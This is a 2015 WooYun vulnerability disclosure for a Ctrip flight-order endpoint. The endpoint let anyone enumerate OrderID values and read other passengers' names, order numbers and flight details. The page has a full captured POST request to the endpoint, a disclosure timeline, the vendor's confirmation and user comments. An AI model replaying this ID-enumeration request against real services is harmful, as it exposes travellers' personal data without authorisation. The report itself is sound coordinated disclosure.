当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-099914

漏洞标题：携程某处越权导致任意用户航班信息遍历（姓名、订单号、航班等）

相关厂商：携程旅行网

漏洞作者： 路人甲

提交时间：2015-03-06 18:24

修复时间：2015-04-25 18:38

公开时间：2015-04-25 18:38

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：18

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-06： 该漏洞正等待厂商内部评估
2015-03-06： 厂商已经确认，与白帽子共同解决该漏洞中，漏洞信息仅向厂商公开
2015-03-26： 细节向核心白帽子及相关领域专家公开
2015-04-05： 细节向普通白帽子公开
2015-04-15： 细节向实习白帽子公开
2015-04-25： 细节向公众公开

简要描述：

携程某处越权导致任意用户航班信息遍历（姓名、订单号、航班等）
随便遍历了一下 结果被航班信息DDOS了 (´Д｀)

详细说明：

E8C2C860-D5DD-4DA4-89DD-7051CEDBE604.png


此处抓包 遍历OrderID 可获取他人航班信息

POST /Domestic/OrderMask/GetJsonConfirmInfo?OrderID=1240414667 HTTP/1.1
Host: flights.ctrip.com
Proxy-Connection: keep-alive
Content-Length: 126
Cache-Control: max-age=0
Origin: http://flights.ctrip.com
If-Modified-Since: Thu, 01 Jan 1970 00:00:00 GMT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
DNT: 1
Referer: http://flights.ctrip.com/domestic/OrderMask/ConfirmInformation?OrderID=1240414686&RepeatAction=FlightDomestic_Repeat_Confirm
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
AlexaToolbar-ALX_NS_PH: AlexaToolbar/alxg-3.3
reciever=邮箱&PostMobilePhone=接收的手机号&EmailAddr=&OrderConfirmMailValue=&ReturnEmailAddr=&ResendMailValue=


漏洞证明：

WP(J@MB4RKJB@U7C2YLC[5V.jpg


MC6NYASS{79B[1VY[~_D{1C.jpg


@X~M){MO8ZR2IMZ8LT48Q]6.jpg


89W9HNTW56XH{0B$HFG@MNY.jpg


修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-03-06 18:37

厂商回复：

漏洞已确认真实存在，并已安排人处理。
十分感谢。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-03-06 18:28 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    ……

  2. 2015-03-06 18:32 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    洞主是自杀式测试，牺牲好大

  3. 2015-04-25 19:04 | F0rm ( 路人 | Rank:0 漏洞数:2 | )

    洞主已光荣

  4. 2015-04-25 19:44 | Me_Fortune ( 普通白帽子 | Rank:209 漏洞数:71 | I'm Me_Fortune)

    三个$是多少。。。。

  5. 2015-04-25 19:52 | 乳酸君、 ( 路人 | Rank:8 漏洞数:2 | 看，漏洞)

    洞主是自杀式测试，牺牲好大

  6. 2015-04-25 20:19 | 冷静 ( 路人 | Rank:3 漏洞数:2 )

    @携程旅行网 怎么乌云发你们的漏洞，奖励都这么高啊？

  7. 2015-04-25 20:37 | RipZ ( 普通白帽子 | Rank:146 漏洞数:38 | 安装tc130精神扰乱装置)

    @冷静 说明携程确实重视安全呗。。

  8. 2015-05-28 13:48 | 龙帝 ( 实习白帽子 | Rank:39 漏洞数:12 )

    三个$估计五千块以上吧。。。